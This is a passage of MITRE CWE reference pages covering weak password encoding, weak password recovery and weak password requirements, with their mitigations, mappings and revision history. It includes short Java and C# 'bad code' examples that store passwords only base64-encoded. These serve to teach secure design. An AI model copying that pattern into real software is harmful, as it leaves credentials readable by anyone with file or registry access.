The Taxonomy_Mappings to ISA/IEC 62443 were added in CWE 4.10, but they are still under review and might change in future CWE versions. These draft mappings were performed by members of the "Mapping CWE to 62443" subgroup of the CWE-CAPEC ICS/OT Special Interest Group (SIG), and their work is incomplete as of CWE 4.10. The mappings are included to facilitate discussion and review by the broader ICS/OT community, and they are likely to change in future CWE versions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
ISA/IEC 62443Part 4-1Req SD-3
ISA/IEC 62443Part 4-1Req SD-4
ISA/IEC 62443Part 4-1Req SI-1
+ References
[REF-196] Jerome H. Saltzer and Michael D. Schroeder. "The Protection of Information in Computer Systems". Proceedings of the IEEE 63. 1975-09. <http://web.mit.edu/Saltzer/www/publications/protection/>.
[REF-546] Sean Barnum and Michael Gegick. "Design Principles". 2005-09-19. <https://web.archive.org/web/20220126060046/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/design-principles>. URL validated: 2023-04-07.
[REF-542] Jon Postel, Editor. "RFC: 793, TRANSMISSION CONTROL PROTOCOL". Information Sciences Institute. 1981-09. <https://www.ietf.org/rfc/rfc0793.txt>. URL validated: 2023-04-07.
[REF-1138] Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. <https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/>.
[REF-1314] ICS-CERT. "ICS Alert (ICS-ALERT-20-063-01): SweynTooth Vulnerabilities". 2020-03-04. <https://www.cisa.gov/news-events/ics-alerts/ics-alert-20-063-01>. URL validated: 2023-04-07.
[REF-1315] Matheus E. Garbelini, Sudipta Chattopadhyay, Chundong Wang, Singapore University of Technology and Design. "Unleashing Mayhem over Bluetooth Low Energy". 2020-03-04. <https://asset-group.github.io/disclosures/sweyntooth/>. URL validated: 2023-01-25.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Contributions
Contribution DateContributorOrganization
2023-01-24
(CWE 4.10, 2023-01-31)
"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Maintenance_Notes, Relationships, Taxonomy_Mappings
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Mapping_Notes

CWE-261: Weak Encoding for Password

Weakness ID: 261
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Obscuring a password with a trivial encoding does not protect the password.
+ Extended Description
Password management issues occur when a password is stored in plaintext in an application's properties or configuration file. A programmer can attempt to remedy the password management problem by obscuring the password with an encoding function, such as base 64 encoding, but this effort does not adequately protect the password.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Demonstrative Examples

Example 1

The following code reads a password from a properties file and uses the password to connect to a database.

(bad code)
Example Language: Java 
...
Properties prop = new Properties();
prop.load(new FileInputStream("config.properties"));
String password = Base64.decode(prop.getProperty("password"));
DriverManager.getConnection(url, usr, password);
...

This code will run successfully, but anyone with access to config.properties can read the value of password and easily determine that the value has been base 64 encoded. If a devious employee has access to this information, they can use it to break into the system.

Example 2

The following code reads a password from the registry and uses the password to create a new network credential.

(bad code)
Example Language: C# 
...
string value = regKey.GetValue(passKey).ToString();
byte[] decVal = Convert.FromBase64String(value);
NetworkCredential netCred = newNetworkCredential(username,decVal.toString(),domain);
...

This code will run successfully, but anyone who has access to the registry key used to store the password can read the value of password. If a devious employee has access to this information, they can use it to break into the system.

+ Potential Mitigations
Passwords should be encrypted with keys that are at least 128 bits in length for adequate security.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.729OWASP Top Ten 2004 Category A8 - Insecure Storage
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Other

The "crypt" family of functions uses weak cryptographic algorithms and should be avoided. It may be present in some projects for compatibility.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPassword Management: Weak Cryptography
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-207] John Viega and Gary McGraw. "Building Secure Software: How to Avoid Security Problems the Right Way". 1st Edition. Addison-Wesley. 2002.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Other_Notes, References, Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2020-02-24Weak Cryptography for Passwords

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

Weakness ID: 640
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.
+ Extended Description

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme.

This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1390Weak Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.
Availability

Technical Impact: DoS: Resource Consumption (Other)

An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.
Integrity
Other

Technical Impact: Other

The system's security functionality is turned against the system by the attacker.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

+ Potential Mitigations

Phase: Architecture and Design

Make sure that all input supplied by the user to the password recovery mechanism is thoroughly filtered and validated.

Phase: Architecture and Design

Do not use standard weak security questions and use several security questions.

Phase: Architecture and Design

Make sure that there is throttling on the number of incorrect answers to a security question. Disable the password recovery functionality after a certain (small) number of incorrect guesses.

Phase: Architecture and Design

Require that the user properly answers the security question prior to resetting their password and sending the new password to the e-mail address of record.

Phase: Architecture and Design

Never allow the user to control what e-mail address the new password will be sent to in the password recovery mechanism.

Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

This entry appears to be frequently misused for any weakness related to password changes, even though the name focuses on "Password Recovery" for a "forgotten" password.

Comments:

CWE-640 should only be used when there is a "password recovery" mechanism for forgotten passwords. Consider password-related entries under CWE-1390: Weak Authentication.
+ Notes

Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

Maintenance

This entry probably needs to be split; see extended description.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
WASC49Insufficient Password Recovery
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-01-30
(CWE Draft 8, 2008-01-30)
Evgeny LebanidzeCigital
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Maintenance_Notes, Name, Relationships
2009-03-10CWE Content TeamMITRE
updated Relationships
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Common_Consequences
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Enabling_Factors_for_Exploitation, Modes_of_Introduction, Observed_Examples, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-06-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-09-09Weak Password Recovery Mechanism

CWE-521: Weak Password Requirements

Weakness ID: 521
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.
+ Extended Description
Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1391Use of Weak Credentials
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.258Empty Password in Configuration File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.287Improper Authentication
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1010Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
ImplementationNot enforcing the password policy stated in a products design can allow users to create passwords that do not provide the necessary level of protection.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could easily guess user passwords and gain access user accounts.
+ Observed Examples
ReferenceDescription
key server application does not require strong passwords
+ Potential Mitigations

Phase: Architecture and Design

A product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes:

  • Enforcement of a minimum and maximum length
  • Restrictions against password reuse
  • Restrictions against using common passwords
  • Restrictions against using contextual string in the password (e.g., user id, app name)

Depending on the threat model, the password policy may include several additional attributes.

  • Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case)
    • Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.
    • Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down).
    • Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols.
  • Large Minimum Length (encouraging passphrases instead of passwords)
    • Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.
    • A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords.
  • Randomly Chosen Secrets
    • Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used.
    • A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down.
  • Password Expiration
    • Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations.
    • Password expiration may be a good mitigating technique when long complex passwords are not desired.

See NIST 800-63B [REF-1053] for further information on password requirements.

Phase: Architecture and Design

Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.

Phase: Implementation

Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.951SFP Secondary Cluster: Insecure Authentication Policy
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
[REF-1053] NIST. "Digital Identity Guidelines (SP 800-63B)". Sections: 5.1.1, 10.2.1, and Appendix A. 2017-06. <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
